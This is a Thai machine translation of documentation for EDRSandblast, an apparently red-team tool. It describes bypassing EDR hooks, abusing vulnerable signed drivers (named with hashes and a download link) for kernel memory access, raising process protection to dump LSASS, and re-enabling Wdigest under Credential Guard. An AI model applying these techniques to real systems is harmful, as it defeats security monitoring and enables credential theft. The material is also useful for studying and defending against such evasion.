หากต้องการเลี่ยงผ่าน hook เฉพาะ คุณสามารถ "กระโดดข้าม" และดำเนินการฟังก์ชันที่เหลือตามที่เป็นอยู่ ขั้นแรก จะต้องกู้คืนไบต์ดั้งเดิมของฟังก์ชันที่ถูกตรวจสอบซึ่งถูกเขียนทับโดย EDR เพื่อติดตั้ง hook จากไฟล์ DLL ในตัวอย่างโค้ดก่อนหน้าของเรา นี่จะเป็นไบต์ที่สอดคล้องกับคำแนะนำต่อไปนี้:
mov r10 , rcx
mov eax , 50h
การระบุไบต์เหล่านี้เป็นเรื่องง่าย เนื่องจากเราสามารถดำเนินการ clean diff ทั้งเวอร์ชันหน่วยความจำและดิสก์ของไลบรารี ดังที่อธิบายไว้ก่อนหน้านี้ จากนั้น เรารวบรวมคำสั่งการกระโดดที่สร้างขึ้นเพื่อเปลี่ยนเส้นทางโฟลว์การควบคุมไปยังโค้ดตามหลังฮุคทันที ที่ที่อยู่ NtProtectVirtualMemory + sizeof(overwritten_instructions)
jmp NtProtectVirtualMemory + 8
สุดท้ายนี้ เราเชื่อม opcode เหล่านี้เข้าด้วยกัน เก็บไว้ในหน่วยความจำที่ปฏิบัติการได้ (ใหม่) และเก็บตัวชี้ไว้ วัตถุนี้เรียกว่า " แทรมโพลีน " และสามารถใช้เป็นตัวชี้ฟังก์ชันได้ ซึ่งเทียบเท่ากับฟังก์ชัน NtProtectVirtualMemory
ดั้งเดิมอย่างเคร่งครัด
ประโยชน์หลักของเทคนิคนี้เช่นเดียวกับเทคนิคอื่นๆ ด้านล่างคือตะขอจะไม่ถูกลบ ดังนั้นการตรวจสอบความสมบูรณ์ใดๆ ที่ดำเนินการกับตะขอโดย EDR ควรผ่าน อย่างไรก็ตาม จำเป็นต้องจัดสรรหน่วยความจำที่สามารถเขียนได้และปฏิบัติการได้ ซึ่งเป็นเรื่องปกติของการจัดสรรเชลล์โค้ด จึงดึงดูดการตรวจสอบข้อเท็จจริงของ EDR
สำหรับรายละเอียดการใช้งาน ให้ตรวจสอบเส้นทางโค้ดของฟังก์ชัน unhook()
เมื่อ unhook_method
เป็น UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
โปรดจำไว้ว่าเทคนิคนี้แสดงให้เห็นในการใช้งานของเราเท่านั้น และท้ายที่สุดแล้ว ใช้เพื่อ ลบ hooks ออกจากหน่วยความจำ ดังที่ทุกเทคนิคระบุไว้
เพื่อให้ผลิตภัณฑ์ EDR ใช้งานได้ จะต้องบันทึก opcodes ที่ได้ลบออกไปที่ไหนสักแห่งในหน่วยความจำ ที่แย่ที่สุด ( หรือ "ดีกว่า" จากมุมมองของผู้โจมตี ) ในการใช้คำสั่งดั้งเดิมอย่างมีประสิทธิภาพ EDR อาจจะจัดสรร แทรมโพลีน ให้กับตัวเองที่ไหนสักแห่งเพื่อดำเนินการฟังก์ชันดั้งเดิมหลังจากดักฟังสายแล้ว
แทรมโพลีนนี้สามารถค้นหาและใช้แทนฟังก์ชัน hooked ได้โดยไม่จำเป็นต้องจัดสรรหน่วยความจำที่ปฏิบัติการได้ หรือเรียก API ใดๆ ยกเว้น VirtualQuery
ซึ่งมีแนวโน้มมากที่สุดว่าจะไม่ถูกตรวจสอบว่าเป็นฟังก์ชันที่ไม่เป็นอันตราย
ในการค้นหาแทรมโพลีนในหน่วยความจำ เราจะเรียกดูพื้นที่ที่อยู่ทั้งหมดโดยใช้ VirtualQuery
เพื่อค้นหาหน่วยความจำที่คอมมิตและปฏิบัติการได้ สำหรับแต่ละขอบเขตของหน่วยความจำ เราจะสแกนเพื่อค้นหาคำสั่งข้ามที่กำหนดเป้าหมายไปยังที่อยู่ตามคำแนะนำที่เขียนทับ ( NtProtectVirtualMemory+8
ในตัวอย่างก่อนหน้าของเรา) จากนั้นแทรมโพลีนสามารถใช้เพื่อเรียกใช้ฟังก์ชัน hooked โดยไม่ต้องเรียกใช้ hook
เทคนิคนี้ใช้ได้ผลดีอย่างน่าประหลาดใจเพราะสามารถฟื้นแทรมโพลีนเกือบทั้งหมดจาก EDR ที่ทดสอบแล้ว สำหรับรายละเอียดการใช้งาน ให้ตรวจสอบเส้นทางโค้ดของฟังก์ชัน unhook()
เมื่อ unhook_method
เป็น UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
วิธีง่ายๆ อีกวิธีหนึ่งในการเข้าถึงฟังก์ชัน NtProtectVirtualMemory
เวอร์ชันที่ไม่ได้รับการตรวจสอบคือการโหลดไลบรารี ntdll.dll
เวอร์ชันที่ซ้ำกันลงในพื้นที่ที่อยู่ของกระบวนการ เนื่องจากสามารถโหลด DLL ที่เหมือนกันสองตัวได้ในกระบวนการเดียวกัน หากมีชื่อที่แตกต่างกัน เราจึงสามารถคัดลอกไฟล์ ntdll.dll
ที่ถูกต้องไปยังตำแหน่งอื่น โหลดโดยใช้ LoadLibrary
(หรือปรับใช้กระบวนการโหลดอีกครั้ง) และเข้าถึงฟังก์ชันโดยใช้ GetProcAddress
ตัวอย่างเช่น.
เทคนิคนี้ง่ายต่อการเข้าใจและนำไปใช้ และมีโอกาสประสบความสำเร็จพอสมควร เนื่องจากผลิตภัณฑ์ EDR ส่วนใหญ่ไม่ได้ติดตั้ง hooks บน DLLs ที่เพิ่งโหลดใหม่เมื่อกระบวนการทำงาน อย่างไรก็ตาม ข้อเสียเปรียบที่สำคัญคือการคัดลอกไบนารีที่ลงนามโดย Microsoft ภายใต้ชื่ออื่น มักจะถือว่าผลิตภัณฑ์ EDR น่าสงสัยเช่นเดียวกับในตัวมันเอง
เทคนิคนี้ยังคงถูกนำมาใช้ใน EDRSandblast
สำหรับรายละเอียดการใช้งาน ให้ตรวจสอบเส้นทางโค้ดของฟังก์ชัน unhook()
เมื่อ unhook_method
เป็น UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY
ในการใช้ฟังก์ชันที่เกี่ยวข้องกับการเรียกของระบบ โปรแกรมหนึ่งสามารถนำ syscalls ไปใช้ใหม่ (ในแอสเซมบลี) เพื่อเรียกฟีเจอร์ระบบปฏิบัติการที่เกี่ยวข้องโดยไม่ต้องแตะโค้ดใน ntdll.dll
ซึ่งอาจถูกตรวจสอบโดย EDR สิ่งนี้จะข้ามการเชื่อมต่อกับผู้ใช้ใด ๆ ที่ทำบนฟังก์ชัน syscall ใน ntdll.dll
โดยสิ้นเชิง
อย่างไรก็ตามสิ่งนี้ก็มีข้อเสียอยู่บ้าง ประการแรก นี่หมายถึงความสามารถในการทราบรายการหมายเลข syscall ของฟังก์ชันที่โปรแกรมต้องการ ซึ่งจะเปลี่ยนแปลงไปสำหรับ Windows แต่ละเวอร์ชัน อย่างไรก็ตาม สิ่งนี้สามารถบรรเทาลงได้ด้วยการใช้การวิเคราะห์พฤติกรรมหลายอย่างที่ทราบว่าทำงานได้ใน Windows NT เวอร์ชันที่ผ่านมาทั้งหมด (การเรียงลำดับการส่งออก Zw*
ของ ntdll
การค้นหา mov rax, #syscall_number
ในฟังก์ชัน ntdll
ที่เกี่ยวข้อง ฯลฯ) และ การตรวจสอบว่าพวกเขาทั้งหมดส่งคืนผลลัพธ์เดียวกัน (ดู Syscalls.c
สำหรับรายละเอียดเพิ่มเติม)
นอกจากนี้ ฟังก์ชันที่ไม่ใช่ syscall ในทางเทคนิค (เช่น LoadLibraryX
/ LdrLoadDLL
) ก็สามารถตรวจสอบได้เช่นกัน และไม่สามารถนำไปใช้ใหม่โดยใช้ syscall ได้
เทคนิค syscalls โดยตรงถูกนำมาใช้ใน EDRSandblast ตามที่ระบุไว้ก่อนหน้านี้ ใช้เพื่อดำเนินการ NtProtectVirtualMemory
อย่างปลอดภัยเท่านั้น และลบ hooks ที่ตรวจพบทั้งหมด
สำหรับรายละเอียดการใช้งาน ให้ตรวจสอบเส้นทางโค้ดของฟังก์ชัน unhook()
เมื่อ unhook_method
เป็น UNHOOK_WITH_DIRECT_SYSCALL
ตามที่ระบุไว้ก่อนหน้านี้ ทุกการกระทำที่ต้องการอ่านหรือเขียนหน่วยความจำเคอร์เนลจะขึ้นอยู่กับไดรเวอร์ที่มีช่องโหว่ในการให้สิ่งนี้แบบดั้งเดิม ใน EDRSanblast การเพิ่มการรองรับไดรเวอร์ใหม่ที่ให้การอ่าน/เขียนแบบดั้งเดิมสามารถทำได้ "ง่ายดาย" โดยมีเพียงสามฟังก์ชันเท่านั้นที่จำเป็นต้องใช้งาน:
ReadMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
ที่คัดลอกไบต์ Size
จาก Address
อยู่เคอร์เนลที่อยู่ไปยัง Buffer
บัฟเฟอร์ผู้ใช้WriteMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
ที่คัดลอกไบต์ Size
จาก Buffer
บัฟเฟอร์ userland ไปยัง Address
;CloseDriverHandle_DRIVERNAME()
ที่ทำให้แน่ใจว่าการจัดการทั้งหมดของไดรเวอร์ถูกปิด (จำเป็นก่อนการดำเนินการถอนการติดตั้งซึ่งไม่เชื่อเรื่องไดรเวอร์ในขณะนี้) ตามตัวอย่าง ขณะนี้ไดรเวอร์สองตัวได้รับการสนับสนุนโดย EDRSandblast, RTCore64.sys
(SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD
) และ DBUtils_2_3.sys
(SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5
). รหัสต่อไปนี้ใน KernelMemoryPrimitives.h
จะต้องได้รับการอัปเดตหากจำเป็นต้องเปลี่ยนไดรเวอร์ที่มีช่องโหว่ที่ใช้อยู่ หรือหากมีการใช้งานอันใหม่
#define RTCore 0
#define DBUtil 1
// Select the driver to use with the following #define
#define VULN_DRIVER RTCore
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
ปัจจุบันมีการใช้เทคนิคหลายอย่างในการพิจารณาว่าไดรเวอร์หรือกระบวนการเฉพาะเป็นของผลิตภัณฑ์ EDR หรือไม่
ขั้นแรก ชื่อของไดรเวอร์สามารถใช้เพื่อจุดประสงค์นั้นได้ แท้จริงแล้ว Microsoft จัดสรรหมายเลขเฉพาะที่เรียกว่า "ระดับความสูง" สำหรับไดรเวอร์ทั้งหมดที่ต้องแทรกการโทรกลับในเคอร์เนล ซึ่งอนุญาตให้มีลำดับที่กำหนดไว้ในการดำเนินการเรียกกลับ โดยไม่ขึ้นกับลำดับการลงทะเบียน แต่ขึ้นอยู่กับการใช้งานไดรเวอร์เท่านั้น รายชื่อผู้ขับขี่ (ผู้จำหน่าย) ที่สงวน ระดับความสูง เฉพาะไว้สามารถพบได้ใน MSDN ด้วยเหตุนี้ Microsoft จึงเสนอรายชื่อไดรเวอร์ความปลอดภัยที่ครอบคลุมเกือบทั้งหมดซึ่งเชื่อมโยงกับผลิตภัณฑ์ด้านความปลอดภัย โดยส่วนใหญ่อยู่ในรายการ "FSFilter Anti-Virus" และ "FSFilter Activity Monitor" รายการชื่อไดรเวอร์เหล่านี้ฝังอยู่ใน EDRSandblast รวมถึงการสนับสนุนเพิ่มเติม
ยิ่งไปกว่านั้น ไฟล์ปฏิบัติการ EDR และ DLL มักจะได้รับการเซ็นชื่อแบบดิจิทัลโดยใช้ใบรับรองการลงนามของผู้จำหน่าย ดังนั้น การตรวจสอบผู้ลงนามของไฟล์ปฏิบัติการหรือ DLL ที่เกี่ยวข้องกับกระบวนการอาจช่วยให้ระบุผลิตภัณฑ์ EDR ได้อย่างรวดเร็ว
นอกจากนี้ ไดรเวอร์จำเป็นต้องได้รับการลงนามโดยตรงจาก Microsoft จึงจะอนุญาตให้โหลดในพื้นที่เคอร์เนลได้ แม้ว่าผู้ขายของผู้ขับขี่จะไม่ได้เป็นผู้ลงนามของผู้ขับขี่โดยตรง แต่ก็อาจดูเหมือนว่าชื่อของผู้ขายยังคงรวมอยู่ในแอตทริบิวต์ของลายเซ็น เทคนิคการตรวจจับนี้ยังต้องมีการตรวจสอบและนำไปใช้
สุดท้ายนี้ เมื่อเผชิญกับ EDR ที่ EDRSandblast ไม่รู้จัก แนวทางที่ดีที่สุดคือการเรียกใช้เครื่องมือในโหมด "ตรวจสอบ" และตรวจสอบรายการไดรเวอร์ที่มีการเรียกกลับเคอร์เนลที่ลงทะเบียนไว้ จากนั้นคุณสามารถเพิ่มชื่อไดรเวอร์ลงในรายการได้ เครื่องมือจะคอมไพล์ใหม่และรันใหม่
กลไก Local Security Authority (LSA) Protection
ซึ่งเปิดตัวครั้งแรกใน Windows 8.1 และ Windows Server 2012 R2 ใช้ประโยชน์จากเทคโนโลยี Protected Process Light (PPL)
เพื่อจำกัดการเข้าถึงกระบวนการ LSASS
การป้องกัน PPL
จะควบคุมและจำกัดการดำเนินการ เช่น การแทรกหน่วยความจำ หรือการดัมพ์หน่วยความจำของกระบวนการที่ได้รับการป้องกัน แม้จากกระบวนการที่ถือสิทธิ์ SeDebugPrivilege
ก็ตาม ภายใต้โมเดลการป้องกันกระบวนการ เฉพาะกระบวนการที่ทำงานด้วยระดับการป้องกันที่สูงกว่าเท่านั้นที่สามารถดำเนินการกับกระบวนการที่ได้รับการป้องกันได้
โครงสร้าง _EPROCESS
ซึ่งเคอร์เนล Windows ใช้เพื่อแสดงกระบวนการในหน่วยความจำเคอร์เนล มีฟิลด์ _PS_PROTECTION
ที่กำหนดระดับการป้องกันของกระบวนการผ่านแอตทริบิวต์ Type
( _PS_PROTECTED_TYPE
) และ Signer
( _PS_PROTECTED_SIGNER
)
ด้วยการเขียนในหน่วยความจำเคอร์เนล กระบวนการ EDRSandblast สามารถอัปเกรดระดับการป้องกันของตัวเองเป็น PsProtectedSignerWinTcb-Light
ระดับนี้เพียงพอที่จะถ่ายโอนข้อมูลหน่วยความจำกระบวนการ LSASS
เนื่องจาก "ครอบงำ" กับ PsProtectedSignerLsa-Light
ซึ่งเป็นระดับการป้องกันของกระบวนการ LSASS
ที่ทำงานด้วยกลไก RunAsPPL
EDRSandBlast
ใช้การป้องกันตนเองดังต่อไปนี้:
NtQuerySystemInformation
เพื่อค้นหาหมายเลขอ้างอิงที่เปิดอยู่บนกระบวนการปัจจุบัน และที่อยู่ของโครงสร้าง EPROCESS
ของกระบวนการปัจจุบันในหน่วยความจำเคอร์เนลMicro-Star MSI Afterburner
เพื่อเขียนทับฟิลด์ _PS_PROTECTION
ของกระบวนการปัจจุบันในหน่วยความจำเคอร์เนล ออฟเซ็ตของฟิลด์ _PS_PROTECTION
ที่สัมพันธ์กับโครงสร้าง EPROCESS
(กำหนดโดยเวอร์ชัน ntoskrnl
ที่ใช้งานอยู่) จะถูกคำนวณในไฟล์ NtoskrnlOffsets.csv
Microsoft Credential Guard
เป็นเทคโนโลยีการแยกที่ใช้การจำลองเสมือน ซึ่งเปิดตัวใน Windows 10 (Enterprise edition)
ของ Microsoft ซึ่งป้องกันการเข้าถึงข้อมูลประจำตัวที่จัดเก็บไว้ในกระบวนการ LSASS
โดยตรง
เมื่อเปิดใช้งาน Credentials Guard
กระบวนการ LSAIso
( LSA Isolated ) จะถูกสร้างขึ้นใน Virtual Secure Mode
ซึ่งเป็นคุณสมบัติที่ใช้ประโยชน์จากส่วนขยายการจำลองเสมือนของ CPU เพื่อเพิ่มความปลอดภัยให้กับข้อมูลในหน่วยความจำ การเข้าถึงกระบวนการ LSAIso
ถูกจำกัดแม้กระทั่งสำหรับการเข้าถึงด้วยบริบทความปลอดภัย NT AUTHORITYSYSTEM
เมื่อประมวลผลแฮช กระบวนการ LSA
ทำการเรียก RPC
ไปยังกระบวนการ LSAIso
และรอให้ผลลัพธ์ LSAIso
ดำเนินการต่อ ดังนั้น กระบวนการ LSASS
จะไม่มีความลับใดๆ และจะจัดเก็บ LSA Isolated Data
ไว้แทน
ตามที่ระบุไว้ในการวิจัยดั้งเดิมที่จัดทำโดย N4kedTurtle
: " Wdigest
สามารถเปิดใช้งานบนระบบที่มี Credential Guard โดยการแพตช์ค่าของ g_fParameter_useLogonCredential
และ g_IsCredGuardEnabled
ในหน่วยความจำ" การเปิดใช้งาน Wdigest
จะส่งผลให้ข้อมูลรับรองข้อความที่ชัดเจนถูกจัดเก็บไว้ในหน่วยความจำ LSASS
สำหรับการเข้าสู่ระบบแบบโต้ตอบใหม่ (โดยไม่ต้องรีบูตระบบ) โปรดดูบทความในบล็อกการวิจัยต้นฉบับเพื่อดูรายละเอียดเพิ่มเติมเกี่ยวกับเทคนิคนี้
EDRSandBlast
ทำให้ PoC ดั้งเดิมเป็นมิตรต่อ opsec มากขึ้นอีกเล็กน้อย และให้การสนับสนุน wdigest.dll
เวอร์ชันต่างๆ (ผ่านออฟเซ็ตที่คำนวณสำหรับ g_fParameter_useLogonCredential
และ g_IsCredGuardEnabled
)
เพื่อที่จะดำเนินการบายพาสการตรวจสอบเคอร์เนลได้อย่างน่าเชื่อถือ EDRSandblast จำเป็นต้องทราบตำแหน่งที่จะอ่านและเขียนหน่วยความจำเคอร์เนลอย่างแน่ชัด สิ่งนี้ทำได้โดยใช้การชดเชยของตัวแปรส่วนกลางภายในรูปภาพเป้าหมาย (ntoskrnl.exe, wdigest.dll) รวมถึงการชดเชยของฟิลด์เฉพาะในโครงสร้างที่ Microsoft เผยแพร่คำจำกัดความในไฟล์สัญลักษณ์ การชดเชยเหล่านี้มีไว้สำหรับแต่ละบิวด์ของรูปภาพเป้าหมาย และต้องรวบรวมอย่างน้อยหนึ่งครั้งสำหรับเวอร์ชันแพลตฟอร์มเฉพาะ
การเลือกใช้ออฟเซ็ต "ฮาร์ดโค้ด" แทนการค้นหารูปแบบเพื่อค้นหาโครงสร้างและตัวแปรที่ใช้โดย EDRSandblast นั้นได้รับการพิสูจน์ด้วยข้อเท็จจริงที่ว่า API ที่ไม่มีเอกสารซึ่งรับผิดชอบในการเพิ่ม/ลบการเรียกกลับเคอร์เนลอาจมีการเปลี่ยนแปลง และความพยายามใดๆ ในการอ่านหรือเขียนเคอร์เนล หน่วยความจำที่อยู่ผิดอาจ (และบ่อยครั้ง) ส่งผลให้เกิด Bug Check
( Blue Screen of Death
) เครื่องขัดข้องไม่เป็นที่ยอมรับทั้งในสถานการณ์การทดสอบการเจาะระบบแบบทีมแดงและแบบปกติ เนื่องจากเครื่องที่เครื่องขัดข้องสามารถมองเห็นได้ชัดเจนโดยฝ่ายป้องกัน และจะสูญเสียข้อมูลรับรองใด ๆ ที่ยังอยู่ในหน่วยความจำในขณะที่เกิดการโจมตี
ในการเรียกข้อมูลออฟเซ็ตสำหรับ Windows แต่ละเวอร์ชัน จะมีการใช้สองวิธี
สามารถแยกออฟเซ็ต ntoskrnl.exe
และ wdigest.dll
ที่จำเป็นได้โดยใช้สคริปต์ Python ExtractOffsets.py
ที่ให้มา ซึ่งต้องใช้ radare2
และ r2pipe
ในการดาวน์โหลดและแยกวิเคราะห์สัญลักษณ์จากไฟล์ PDB และแยกออฟเซ็ตที่จำเป็นออกมา จากนั้นออฟเซ็ตจะถูกจัดเก็บไว้ในไฟล์ CSV เพื่อใช้งานในภายหลังโดย EDRSandblast
เพื่อที่จะสนับสนุน Windows builds ที่หลากหลายได้ทันที ไบนารี ntoskrnl.exe
และ wdigest.dll
หลายเวอร์ชันได้รับการอ้างอิงโดย Winbindex และสามารถดาวน์โหลดได้โดยอัตโนมัติ (และออฟเซ็ตที่แตกออกมา) โดย ExtractOffsets.py
ซึ่งช่วยให้สามารถแยกออฟเซ็ตจากไฟล์เกือบทั้งหมดที่เคยเผยแพร่ในแพ็คเกจการอัปเดต Windows (จนถึงขณะนี้มีเวอร์ชัน ntoskrnl.exe
450+ และ wdigest.dll
มากกว่า 30 เวอร์ชันและคำนวณล่วงหน้าแล้ว)
ตัวเลือกเพิ่มเติมถูกนำมาใช้ใน EDRSandBlast
เพื่อให้โปรแกรมดาวน์โหลดไฟล์ .pdb
ที่จำเป็นจาก Microsoft Symbol Server แยกออฟเซ็ตที่จำเป็น และแม้แต่อัปเดตไฟล์ .csv
ที่เกี่ยวข้อง หากมี
การใช้ตัวเลือก --internet
ทำให้การทำงานของเครื่องมือง่ายขึ้นมาก ขณะเดียวกันก็ก่อให้เกิดความเสี่ยง OpSec เพิ่มเติม เนื่องจากไฟล์ .pdb
จะถูกดาวน์โหลดและปล่อยลงบนดิสก์ในระหว่างกระบวนการ สิ่งนี้จำเป็นสำหรับฟังก์ชัน dbghelp.dll
ที่ใช้ในการแยกวิเคราะห์ฐานข้อมูลสัญลักษณ์ อย่างไรก็ตาม การแยกวิเคราะห์ PDB ในหน่วยความจำแบบเต็มอาจถูกนำมาใช้ในอนาคตเพื่อยกเลิกข้อกำหนดนี้ และลดรอยเท้าของเครื่องมือ
สามารถเรียกดูไดรเวอร์ RTCore64.sys
ที่มีช่องโหว่ได้ที่:
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip